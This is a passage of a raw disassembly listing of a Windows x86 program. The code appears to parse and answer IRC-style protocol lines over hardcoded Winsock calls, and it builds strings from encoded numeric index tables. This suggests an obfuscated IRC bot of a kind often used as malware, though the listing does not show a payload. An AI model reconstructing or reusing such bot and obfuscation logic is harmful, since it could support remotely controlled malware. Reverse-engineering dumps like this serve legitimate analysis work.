[esp+2Ch+var_8] call sub_4016AE push offset asc_443C88 ; "!" lea ecx, [esp+24h+arg_1FC] push ebx push ecx mov ecx, eax mov byte ptr [esp+2Ch+arg_246C], 25h call sub_4016AE mov ecx, eax mov byte ptr [esp+20h+arg_246C], 26h call sub_4017E4 push eax lea ecx, [esp+24h+arg_25C] call sub_401861 lea ecx, [esp+20h+arg_1FC] mov byte ptr [esp+20h+arg_246C], 29h call sub_401226 lea ecx, [esp+20h+arg_22C] mov byte ptr [esp+20h+arg_246C], 28h call sub_401226 mov ecx, offset byte_44742D mov [ebp+16h], bl call sub_4017E4 push eax mov ecx, offset dword_4473E4 call sub_4017E4 mov edx, dword_447104 push eax push edx push offset aSSS_0 ; "%s %s %s\r\n" push ebp call sub_401E0B add esp, 14h lea ecx, [esp+20h+arg_25C] mov byte ptr [esp+20h+arg_246C], bl call sub_401226 jmp loc_411327 ; --------------------------------------------------------------------------- loc_410FB0: ; CODE XREF: sub_40FF60+EC7j push offset asc_443600 ; " " lea eax, [esp+24h+arg_28C] push 1 push eax lea ecx, [esp+2Ch+var_8] call sub_4016AE mov ecx, dword_447120 mov byte ptr [esp+20h+arg_246C], 2Ah push ecx mov ecx, eax call sub_4012EE test eax, eax lea ecx, [esp+20h+arg_28C] mov byte ptr [esp+20h+arg_246C], bl setz [esp+20h+var_D] call sub_401226 cmp [esp+20h+var_D], bl jz loc_411168 push offset asc_443C94 ; ":" lea edx, [esp+24h+arg_2EC] push 1 push edx lea ecx, [esp+2Ch+var_8] call sub_4016AE push offset asc_443C88 ; "!" lea ecx, [esp+24h+arg_2BC] push ebx push ecx mov ecx, eax mov byte ptr [esp+2Ch+arg_246C], 2Bh call sub_4016AE mov ecx, eax mov byte ptr [esp+20h+arg_246C], 2Ch call sub_4017E4 push eax lea ecx, [esp+24h+arg_34] call sub_401861 lea ecx, [esp+20h+arg_2BC] mov byte ptr [esp+20h+arg_246C], 2Fh call sub_401226 lea ecx, [esp+20h+arg_2EC] mov byte ptr [esp+20h+arg_246C], 2Eh call sub_401226 push offset asc_443C84 ; " :" lea ecx, [esp+24h+var_8] call sub_4014D3 mov esi, dword_50FAF8 push eax call esi ; strstr add esp, 8 test eax, eax jz loc_411153 push offset asc_443C84 ; " :" lea ecx, [esp+24h+var_8] call sub_4014D3 push eax call esi ; strstr add esp, 8 lea ecx, [esp+20h+arg_64] push eax call sub_401861 push offset byte_446F70 lea ecx, [esp+24h+arg_34] mov byte ptr [esp+24h+arg_246C], 30h call sub_4012EE test eax, eax jz short loc_41113F push offset byte_446F70 lea ecx, [esp+24h+arg_64] call sub_4012EE test eax, eax jz short loc_41113F sub esp, 18h lea edx, [esp+38h+arg_34] mov ecx, esp mov [esp+38h+arg_C], esp push edx call sub_4014C9 mov ecx, offset word_448C9E call sub_401CD0 cmp eax, ebx jz short loc_41111B lea ecx, [esp+20h+arg_64] push ecx lea ecx, [eax+19h] call sub_401FBE loc_41111B: ; CODE XREF: sub_40FF60+11A9j push offset byte_4E6E85 lea ecx, [esp+24h+arg_34] call sub_401B72 test eax, eax jnz short loc_41113F lea edx, [esp+20h+arg_64] mov ecx, offset byte_4E6E85 push edx call sub_401FBE loc_41113F: ; CODE XREF: sub_40FF60+1173j ; sub_40FF60+1188j ... lea ecx, [esp+20h+arg_64] mov byte ptr [esp+20h+arg_246C], 2Eh call sub_401226 loc_411153: ; CODE XREF: sub_40FF60+1134j lea ecx, [esp+20h+arg_34] mov byte ptr [esp+20h+arg_246C], bl call sub_401226 jmp loc_411327 ; --------------------------------------------------------------------------- loc_411168: ; CODE XREF: sub_40FF60+109Cj push offset asc_443600 ; " " lea eax, [esp+24h+arg_34C] push 1 push eax lea ecx, [esp+2Ch+var_8] call sub_4016AE mov ecx, dword_447130 mov byte ptr [esp+20h+arg_246C], 31h push ecx mov ecx, eax call sub_4012EE test eax, eax jz short loc_4111EF push offset asc_443600 ; " " lea edx, [esp+24h+arg_31C] push 1 push edx lea ecx, [esp+2Ch+var_8] call sub_4016AE mov ecx, dword_447140 mov byte ptr [esp+20h+arg_246C], 32h push ecx mov ecx, eax call sub_4012EE test eax, eax lea ecx, [esp+20h+arg_31C] mov byte ptr [esp+20h+arg_246C], 31h setz [esp+20h+var_D] call sub_401226 mov al, [esp+20h+var_D] mov [esp+20h+var_D], bl cmp al, bl jz short loc_4111F4 loc_4111EF: ; CODE XREF: sub_40FF60+1238j mov [esp+20h+var_D], 1 loc_4111F4: ; CODE XREF: sub_40FF60+128Dj lea ecx, [esp+20h+arg_34C] mov byte ptr [esp+20h+arg_246C], bl call sub_401226 cmp [esp+20h+var_D], bl jz loc_411327 push offset asc_443C94 ; ":" lea edx, [esp+24h+arg_37C] push 1 push edx lea ecx, [esp+2Ch+var_8] call sub_4016AE sub esp, 18h mov byte ptr [esp+38h+arg_246C], 33h mov ecx, esp mov [esp+38h+arg_C], esp push offset asc_443C88 ; "!" push ebx push ecx mov ecx, eax call sub_4016AE mov ecx, offset word_448C9E call sub_401CD0 lea ecx, [esp+20h+arg_37C] mov esi, eax mov byte ptr [esp+20h+arg_246C], bl call sub_401226 cmp esi, ebx jz loc_411327 push offset asc_443C94 ; ":" lea edx, [esp+24h+arg_3DC] push 1 push edx lea ecx, [esp+2Ch+var_8] call sub_4016AE sub esp, 18h mov byte ptr [esp+38h+arg_246C], 34h mov ecx, esp mov [esp+38h+arg_C], esp push offset asc_443C88 ; "!" push ebx push ecx mov ecx, eax call sub_4016AE push offset asc_443C94 ; ":" lea edx, [esp+3Ch+arg_3AC] push 1 push edx lea ecx, [esp+44h+var_8] mov byte ptr [esp+44h+arg_246C], 35h call sub_4016AE sub esp, 18h mov byte ptr [esp+50h+arg_246C], 36h mov ecx, esp mov [esp+50h+var_C], esp push offset asc_443C88 ; "!" push ebx push ecx mov ecx, eax call sub_4016AE mov ecx, offset word_448C9E mov byte ptr [esp+50h+arg_246C], 37h call sub_40210D lea ecx, [esp+20h+arg_3AC] mov byte ptr [esp+20h+arg_246C], 34h call sub_401226 lea ecx, [esp+20h+arg_3DC] mov byte ptr [esp+20h+arg_246C], bl call sub_401226 jmp short loc_411327 ; --------------------------------------------------------------------------- loc_411320: ; CODE XREF: sub_40FF60+391j mov ecx, ebp call sub_401D0C loc_411327: ; CODE XREF: sub_40FF60+1D3j ; sub_40FF60+253j ... cmp [ebp+17h], bl jnz loc_40FFA2 loc_411330: ; CODE XREF: sub_40FF60+3Cj ; sub_40FF60+4Fj lea ecx, [esp+20h+var_8] mov [esp+20h+arg_246C], 0FFFFFFFFh call sub_401226 mov ecx, [esp+20h+arg_2464] pop edi pop esi pop ebp xor eax, eax mov large fs:0, ecx pop ebx add esp, 2484h retn sub_40FF60 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 90h db 500h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_411860 proc near ; CODE XREF: sub_4010BEj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_411860 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401E6A lea ecx, [esi+15h] mov [esp+14h+var_4], 0 call sub_402054 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43E038 mov dword ptr [esi+11h], 0 mov byte ptr [esi+0ABh], 0 mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_411860 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_4118E0: ; CODE XREF: ___:loc_40115Ej ; ___:004016EAj push esi mov esi, ecx call sub_40101E test byte ptr [esp+8], 1 jz short loc_4118F8 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_4118F8: ; CODE XREF: ___:004118EDj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_411910 proc near ; CODE XREF: sub_40101Ej var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_411910 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi mov dword ptr [esi], offset off_43E038 lea ecx, [esi+15h] mov [esp+14h+var_4], 0 call sub_40196A mov ecx, esi mov [esp+14h+var_4], 0FFFFFFFFh call sub_402031 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_411910 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_411990 proc near ; CODE XREF: sub_402054j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_411990 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401424 lea ecx, [esi+15h] mov [esp+14h+var_4], 0 call sub_401424 lea ecx, [esi+2Ah] mov byte ptr [esp+14h+var_4], 1 call sub_401424 lea ecx, [esi+3Fh] mov byte ptr [esp+14h+var_4], 2 call sub_401424 lea ecx, [esi+54h] mov byte ptr [esp+14h+var_4], 3 call sub_401424 lea ecx, [esi+69h] mov byte ptr [esp+14h+var_4], 4 call sub_401424 lea ecx, [esi+7Eh] mov byte ptr [esp+14h+var_4], 5 call sub_401424 mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_411990 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_411A50 proc near ; CODE XREF: sub_40196Aj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_411A50 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+7Eh] mov [esp+14h+var_4], 5 call sub_401226 lea ecx, [esi+69h] mov byte ptr [esp+14h+var_4], 4 call sub_401226 lea ecx, [esi+54h] mov byte ptr [esp+14h+var_4], 3 call sub_401226 lea ecx, [esi+3Fh] mov byte ptr [esp+14h+var_4], 2 call sub_401226 lea ecx, [esi+2Ah] mov byte ptr [esp+14h+var_4], 1 call sub_401226 lea ecx, [esi+15h] mov byte ptr [esp+14h+var_4], 0 call sub_401226 mov ecx, esi mov [esp+14h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_411A50 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_411B10 proc near ; CODE XREF: sub_4019D3j arg_0 = byte ptr 4 push esi mov esi, ecx call sub_40196A test [esp+4+arg_0], 1 jz short loc_411B28 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_411B28: ; CODE XREF: sub_411B10+Dj mov eax, esi pop esi retn 4 sub_411B10 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_411B40 proc near ; CODE XREF: sub_401A0Aj var_3C = byte ptr -3Ch var_4 = dword ptr -4 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_411B40 push eax mov large fs:0, esp sub esp, 30h push ebx push esi mov esi, ecx push edi test esi, esi jz short loc_411B66 lea edi, [esi+11h] jmp short loc_411B68 ; --------------------------------------------------------------------------- loc_411B66: ; CODE XREF: sub_411B40+1Fj xor edi, edi loc_411B68: ; CODE XREF: sub_411B40+24j push 0 push 17h push 1 push 12h push 4Fh lea eax, [esp+5Ch+var_3C] push 9 push eax call sub_4019B5 add esp, 1Ch push edi mov ecx, eax mov [esp+4Ch+var_4], 0 call sub_4017E4 lea ecx, [esi+250h] push eax push ecx mov ecx, offset dword_447158 call sub_401591 sub_411B40 endp ; --------------------------------------------------------------------------- or edi, 0FFFFFFFFh lea ecx, [esp+0Ch] mov [esp+44h], edi call sub_401226 test esi, esi jz short loc_411BBC lea ebx, [esi+11h] jmp short loc_411BBE ; --------------------------------------------------------------------------- loc_411BBC: ; CODE XREF: ___:00411BB5j xor ebx, ebx loc_411BBE: ; CODE XREF: ___:00411BBAj push 0 push 14h push 3 push 5 push 0Eh push 0Eh push 0Fh push 3 push 5 push 12h push 4Fh lea edx, [esp+38h] push 9 push edx call sub_4019B5 add esp, 34h push ebx mov ecx, eax mov dword ptr [esp+48h], 1 call sub_4017E4 push eax lea eax, [esi+27Eh] push eax mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch] mov [esp+44h], edi call sub_401226 test esi, esi jz short loc_411C1B lea ebx, [esi+11h] jmp short loc_411C1D ; --------------------------------------------------------------------------- loc_411C1B: ; CODE XREF: ___:00411C14j xor ebx, ebx loc_411C1D: ; CODE XREF: ___:00411C19j push 0 push 14h push 12h push 1 push 10h push 4Fh lea ecx, [esp+24h] push 9 push ecx call sub_4019B5 add esp, 20h push ebx mov ecx, eax mov dword ptr [esp+48h], 2 call sub_4017E4 lea edx, [esi+1C6h] push eax push edx mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch] mov [esp+44h], edi call sub_401226 test esi, esi jz short loc_411C70 lea ebx, [esi+11h] jmp short loc_411C72 ; --------------------------------------------------------------------------- loc_411C70: ; CODE XREF: ___:00411C69j xor ebx, ebx loc_411C72: ; CODE XREF: ___:00411C6Ej push 0 push 5 push 4 push 0Fh push 0Dh push 4Fh lea eax, [esp+24h] push 9 push eax call sub_4019B5 add esp, 20h push ebx mov ecx, eax mov dword ptr [esp+48h], 3 call sub_4017E4 lea ecx, [esi+16Ah] push eax push ecx mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch] mov [esp+44h], edi call sub_401226 test esi, esi jz short loc_411CC5 lea ebx, [esi+11h] jmp short loc_411CC7 ; --------------------------------------------------------------------------- loc_411CC5: ; CODE XREF: ___:00411CBEj xor ebx, ebx loc_411CC7: ; CODE XREF: ___:00411CC3j push 0 push 7 push 13h push 0Dh push 4Fh lea edx, [esp+20h] push 9 push edx call sub_4019B5 add esp, 1Ch push ebx mov ecx, eax mov dword ptr [esp+48h], 4 call sub_4017E4 push eax lea eax, [esi+1F4h] push eax mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch] mov [esp+44h], edi call sub_401226 test esi, esi jz short loc_411D18 lea ebx, [esi+11h] jmp short loc_411D1A ; --------------------------------------------------------------------------- loc_411D18: ; CODE XREF: ___:00411D11j xor ebx, ebx loc_411D1A: ; CODE XREF: ___:00411D16j push 0 push 5 push 3 push 9 push 14h push 0Fh push 0Eh push 4Fh lea ecx, [esp+2Ch] push 9 push ecx call sub_4019B5 add esp, 28h push ebx mov ecx, eax mov dword ptr [esp+48h], 5 call sub_4017E4 lea edx, [esi+0B2h] push eax push edx mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch] mov [esp+44h], edi call sub_401226 test esi, esi jz short loc_411D71 lea ebx, [esi+11h] jmp short loc_411D73 ; --------------------------------------------------------------------------- loc_411D71: ; CODE XREF: ___:00411D6Aj xor ebx, ebx loc_411D73: ; CODE XREF: ___:00411D6Fj push 0 push 14h push 3 push 5 push 0Eh push 0Eh push 0Fh push 3 push 13h push 9 push 4 push 4Fh lea eax, [esp+3Ch] push 9 push eax call sub_4019B5 add esp, 38h push ebx mov ecx, eax mov dword ptr [esp+48h], 6 call sub_4017E4 lea ecx, [esi+56h] push eax push ecx mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch] mov [esp+44h], edi call sub_401226 test esi, esi jz short loc_411DCF lea ebx, [esi+11h] jmp short loc_411DD1 ; --------------------------------------------------------------------------- loc_411DCF: ; CODE XREF: ___:00411DC8j xor ebx, ebx loc_411DD1: ; CODE XREF: ___:00411DCDj push 0 push 14h push 13h push 0Fh push 8 push 14h push 5 push 7 push 4Fh lea edx, [esp+30h] push 9 push edx call sub_4019B5 add esp, 2Ch push ebx mov ecx, eax mov dword ptr [esp+48h], 7 call sub_4017E4 push eax lea eax, [esi+10Eh] push eax mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch] mov [esp+44h], edi call sub_401226 test esi, esi jz short loc_411E2A lea ebx, [esi+11h] jmp short loc_411E2C ; --------------------------------------------------------------------------- loc_411E2A: ; CODE XREF: ___:00411E23j xor ebx, ebx loc_411E2C: ; CODE XREF: ___:00411E28j push 0 push 0Fh push 6 push 0Eh push 9 push 14h push 5 push 0Eh push 4Fh lea ecx, [esp+30h] push 9 push ecx call sub_4019B5 add esp, 2Ch push ebx mov ecx, eax mov dword ptr [esp+48h], 8 call sub_4017E4 lea edx, [esi+198h] push eax push edx mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch] mov [esp+44h], edi call sub_401226 test esi, esi jz short loc_411E85 lea ebx, [esi+11h] jmp short loc_411E87 ; --------------------------------------------------------------------------- loc_411E85: ; CODE XREF: ___:00411E7Ej xor ebx, ebx loc_411E87: ; CODE XREF: ___:00411E83j push 0 push 0Eh push 9 push 0Fh push 0Ah push 4Fh lea eax, [esp+3Ch] push 9 push eax call sub_4019B5 add esp, 20h push ebx mov ecx, eax mov dword ptr [esp+48h], 9 call sub_4017E4 add esi, 13Ch push eax push esi mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+24h] mov [esp+44h], edi call sub_401226 mov ecx, [esp+3Ch] pop edi pop esi pop ebx mov large fs:0, ecx add esp, 3Ch retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 0F0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_411FE0 proc near ; CODE XREF: sub_401AB9j var_84 = byte ptr -84h var_6C = byte ptr -6Ch var_54 = byte ptr -54h var_3C = byte ptr -3Ch var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_411FE0 push eax mov large fs:0, esp sub esp, 78h push ebx push ebp push esi mov esi, [esp+90h+arg_0] push edi mov edi, ecx lea ebx, [esi+7Eh] lea ecx, [edi+45h] call sub_4017E4 push eax mov ecx, ebx call sub_4012EE test eax, eax jz loc_412509 lea ecx, [edi+26Dh] call sub_4017E4 push eax mov ecx, ebx call sub_4012EE test eax, eax jz loc_412509 lea ecx, [edi+0A1h] call sub_4017E4 push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_4120E2 push offset asc_443600 ; " " lea eax, [esp+98h+var_6C] push 2 push eax mov ecx, esi call sub_4016AE mov ebp, eax push offset asc_443600 ; " " lea ecx, [esp+98h+var_84] push 1 xor ebx, ebx push ecx mov ecx, esi mov [esp+0A0h+var_4], ebx call sub_4016AE mov esi, eax mov ecx, ebp mov byte ptr [esp+94h+var_4], 1 call sub_4017E4 push eax mov ecx, esi call sub_4017E4 mov edx, dword_447100 push eax push edx add edi, 0FFFFFFEFh push offset dword_443CEC push edi call sub_401E0B add esp, 14h lea ecx, [esp+94h+var_84] mov byte ptr [esp+94h+var_4], bl call sub_401226 lea ecx, [esp+94h+var_6C] mov [esp+94h+var_4], 0FFFFFFFFh call sub_401226 jmp loc_412532 ; --------------------------------------------------------------------------- loc_4120E2: ; CODE XREF: sub_411FE0+70j lea ecx, [edi+187h] call sub_4017E4 push eax mov ecx, ebx call sub_4012EE test eax, eax jnz short loc_412159 add edi, 0FFFFFFEFh lea eax, [esp+94h+var_6C] push eax mov ecx, edi call sub_401D39 mov ecx, eax mov [esp+94h+var_4], 2 call sub_4017E4 push eax push offset aS ; "%s" lea ecx, [esi+69h] call sub_4014D3 mov cl, [esi+94h] mov dl, [esi+93h] push eax push ecx push edx push edi call sub_401848 add esp, 18h lea ecx, [esp+94h+var_6C] mov [esp+94h+var_4], 0FFFFFFFFh call sub_401226 jmp loc_412532 ; --------------------------------------------------------------------------- loc_412159: ; CODE XREF: sub_411FE0+117j lea ecx, [edi+0FDh] call sub_4017E4 push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_412214 push offset asc_443600 ; " " lea eax, [esp+98h+var_6C] push 1 push eax mov ecx, esi call sub_4016AE push eax lea ecx, [edi+17h] mov [esp+98h+var_4], 3 call sub_4018A2 or ebp, 0FFFFFFFFh lea ecx, [esp+94h+var_6C] mov ebx, eax mov [esp+94h+var_4], ebp call sub_401226 test ebx, ebx jz loc_412532 lea ecx, [esp+94h+var_6C] add edi, 0FFFFFFEFh push ecx mov ecx, edi call sub_401D39 mov ecx, eax mov [esp+94h+var_4], 4 call sub_4017E4 push eax push offset aS ; "%s" lea ecx, [esi+69h] call sub_4014D3 mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push edi call sub_401848 add esp, 18h lea ecx, [esp+94h+var_6C] mov [esp+94h+var_4], ebp call sub_401226 jmp loc_412532 ; --------------------------------------------------------------------------- loc_412214: ; CODE XREF: sub_411FE0+18Ej lea ecx, [edi+12Bh] call sub_4017E4 push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_4122BD push offset asc_443600 ; " " lea ecx, [esp+98h+var_84] push 2 push ecx mov ecx, esi call sub_4016AE mov ebp, eax push offset asc_443600 ; " " lea edx, [esp+98h+var_6C] mov ebx, 5 push 1 push edx mov ecx, esi mov [esp+0A0h+var_4], ebx call sub_4016AE mov esi, eax mov ecx, ebp mov byte ptr [esp+94h+var_4], 6 call sub_4017E4 push eax mov ecx, esi call sub_4017E4 push eax mov eax, dword_447104 push eax add edi, 0FFFFFFEFh push offset aSSS_0 ; "%s %s %s\r\n" push edi call sub_401E0B add esp, 14h lea ecx, [esp+94h+var_6C] mov byte ptr [esp+94h+var_4], bl call sub_401226 lea ecx, [esp+94h+var_84] mov [esp+94h+var_4], 0FFFFFFFFh call sub_401226 jmp loc_412532 ; --------------------------------------------------------------------------- loc_4122BD: ; CODE XREF: sub_411FE0+249j lea ecx, [edi+1B5h] call sub_4017E4 push eax mov ecx, ebx call sub_4012EE test eax, eax jnz short loc_41232B push offset asc_443600 ; " " lea ecx, [esp+98h+var_6C] push 1 push ecx mov ecx, esi call sub_4016AE mov ecx, eax mov [esp+94h+var_4], 7 call sub_4017E4 mov edx, dword_447130 push eax push edx add edi, 0FFFFFFEFh push offset aSS_0 ; "%s %s\r\n" push edi call sub_401E0B add esp, 10h lea ecx, [esp+94h+var_6C] mov [esp+94h+var_4], 0FFFFFFFFh call sub_401226 jmp loc_412532 ; --------------------------------------------------------------------------- loc_41232B: ; CODE XREF: sub_411FE0+2F2j lea ecx, [edi+23Fh] call sub_4017E4 push eax mov ecx, ebx call sub_4012EE test eax, eax jnz short loc_41238D lea eax, [esp+94h+var_6C] push 9 push eax mov ecx, esi call sub_401E2E mov ecx, eax mov [esp+94h+var_4], 8 call sub_4017E4 push eax add edi, 0FFFFFFEFh push offset dword_443CE4 push edi call sub_401E0B add esp, 0Ch lea ecx, [esp+94h+var_6C] mov [esp+94h+var_4], 0FFFFFFFFh call sub_401226 jmp loc_412532 ; --------------------------------------------------------------------------- loc_41238D: ; CODE XREF: sub_411FE0+360j lea ecx, [edi+1E3h] call sub_4017E4 push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_41242D push offset asc_443600 ; " " lea ecx, [esp+98h+var_84] push 1 push ecx mov ecx, esi call sub_4016AE mov ebp, eax push 1 push offset asc_443600 ; " " lea edx, [esp+9Ch+var_6C] push 2 push edx mov ecx, esi mov [esp+0A4h+var_4], 9 call sub_4011EA mov esi, eax mov ecx, ebp mov byte ptr [esp+94h+var_4], 0Ah call sub_4014D3 push eax mov ecx, esi call sub_4014D3 xor ebx, ebx push eax push ebx push ebx lea ecx, [edi-11h] call sub_401118 lea ecx, [esp+94h+var_6C] mov byte ptr [esp+94h+var_4], 9 call sub_401226 lea ecx, [esp+94h+var_84] mov [esp+94h+var_4], 0FFFFFFFFh call sub_401226 jmp loc_412532 ; --------------------------------------------------------------------------- loc_41242D: ; CODE XREF: sub_411FE0+3C2j lea ecx, [edi+159h] call sub_4017E4 push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_412532 push offset asc_443600 ; " " lea eax, [esp+98h+var_24] push 3 push eax mov ecx, esi call sub_4016AE mov ebp, eax push offset asc_443600 ; " " lea ecx, [esp+98h+var_3C] push 2 push ecx mov ecx, esi mov [esp+0A0h+var_4], 0Bh call sub_4016AE mov ebx, eax push offset asc_443600 ; " " lea edx, [esp+98h+var_54] push 1 push edx mov ecx, esi mov byte ptr [esp+0A0h+var_4], 0Ch call sub_4016AE mov esi, eax mov ecx, ebp mov byte ptr [esp+94h+var_4], 0Dh call sub_4017E4 push eax mov ecx, ebx call sub_4017E4 push eax mov ecx, esi call sub_4017E4 push eax mov eax, dword_447134 push eax add edi, 0FFFFFFEFh push offset dword_443CD4 push edi call sub_401E0B add esp, 18h lea ecx, [esp+94h+var_54] mov byte ptr [esp+94h+var_4], 0Ch call sub_401226 lea ecx, [esp+94h+var_3C] mov byte ptr [esp+94h+var_4], 0Bh call sub_401226 lea ecx, [esp+94h+var_24] mov [esp+94h+var_4], 0FFFFFFFFh call sub_401226 jmp short loc_412532 ; --------------------------------------------------------------------------- loc_412509: ; CODE XREF: sub_411FE0+3Aj ; sub_411FE0+55j xor ebx, ebx mov [edi+0Fh], ebx mov [edi+0Bh], ebx mov [edi+5], bl mov [edi+4], bl mov ecx, [edi+7] push ecx call near ptr 71AB9639h nop mov ecx, offset word_448C9E mov dword ptr [edi+7], 0FFFFFFFFh call sub_401537 loc_412532: ; CODE XREF: sub_411FE0+FDj ; sub_411FE0+174j ... mov ecx, [esp+94h+var_C] pop edi pop esi pop ebp xor al, al pop ebx mov large fs:0, ecx add esp, 84h retn 4 sub_411FE0 endp ; --------------------------------------------------------------------------- db 90h db 160h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4126B0 proc near ; CODE XREF: sub_401D39j var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = byte ptr -34h var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 push 0FFFFFFFFh push offset SEH_4126B0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 40h push esi mov esi, ecx lea ecx, [esp+50h+var_24] mov [esp+50h+var_48], 0 call sub_401424 xor eax, eax lea ecx, [esp+50h+var_4C] mov [esp+50h+var_44], eax lea edx, [esp+50h+var_44] mov [esp+50h+var_40], eax push ecx mov [esp+54h+var_3C], eax push edx mov [esp+58h+var_38], eax mov eax, [esi+18h] push eax mov [esp+5Ch+var_4], 1 mov [esp+5Ch+var_4C], 10h call near ptr 71AB951Eh nop mov ecx, [esp+50h+var_40+3] mov edx, [esp+50h+var_40+2] mov eax, [esp+50h+var_40+1] and ecx, 0FFh push ecx mov ecx, [esp+54h+var_40] and edx, 0FFh and eax, 0FFh push edx and ecx, 0FFh push eax push ecx lea edx, [esp+60h+var_34] push offset aD_D_D_D ; "%d.%d.%d.%d" push edx call sub_5EFFD5 nop add esp, 18h lea ecx, [esp+50h+var_24] push offset byte_446F70 call sub_4015D7 push offset dword_443D18 lea ecx, [esp+54h+var_24] call sub_401A9B lea eax, [esp+50h+var_34] lea ecx, [esp+50h+var_24] push eax call sub_401A9B push offset dword_443D14 lea ecx, [esp+54h+var_24] call sub_401A9B add esi, 28h lea ecx, [esp+50h+var_24] push esi call sub_4016BD push offset dword_443D14 lea ecx, [esp+54h+var_24] call sub_401A9B lea ecx, [esp+50h+var_34] push ecx call sub_401479 add esp, 4 test al, al jz short loc_4127BB push offset dword_443D08 jmp short loc_4127C0 ; --------------------------------------------------------------------------- loc_4127BB: ; CODE XREF: sub_4126B0+102j push offset dword_443CFC loc_4127C0: ; CODE XREF: sub_4126B0+109j lea ecx, [esp+54h+var_24] call sub_401A9B mov esi, [esp+50h+arg_0] lea edx, [esp+50h+var_24] push edx mov ecx, esi call sub_4014C9 mov [esp+50h+var_48], 1 lea ecx, [esp+50h+var_24] mov byte ptr [esp+50h+var_4], 0 call sub_401226 mov ecx, [esp+50h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 4Ch retn 4 sub_4126B0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 60h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_412870 proc near ; CODE XREF: sub_401582j arg_0 = dword ptr 4 push ebp mov ebp, [esp+4+arg_0] push esi mov esi, ecx push edi mov edi, ebp or ecx, 0FFFFFFFFh xor eax, eax repne scasb mov eax, [esi+18h] push 0 not ecx dec ecx push ecx push ebp push eax nop call near ptr 71AB428Ah mov edx, eax mov edi, ebp or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx cmp edx, ecx jnb short loc_4128CE mov [esi+16h], al mov [esi+15h], al mov eax, [esi+18h] push eax nop call near ptr 71AB9639h mov ecx, offset word_448C9E mov dword ptr [esi+18h], 0FFFFFFFFh call sub_401537 pop edi pop esi xor al, al pop ebp retn 4 ; --------------------------------------------------------------------------- loc_4128CE: ; CODE XREF: sub_412870+33j pop edi pop esi mov al, 1 pop ebp retn 4 sub_412870 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_412900 proc near 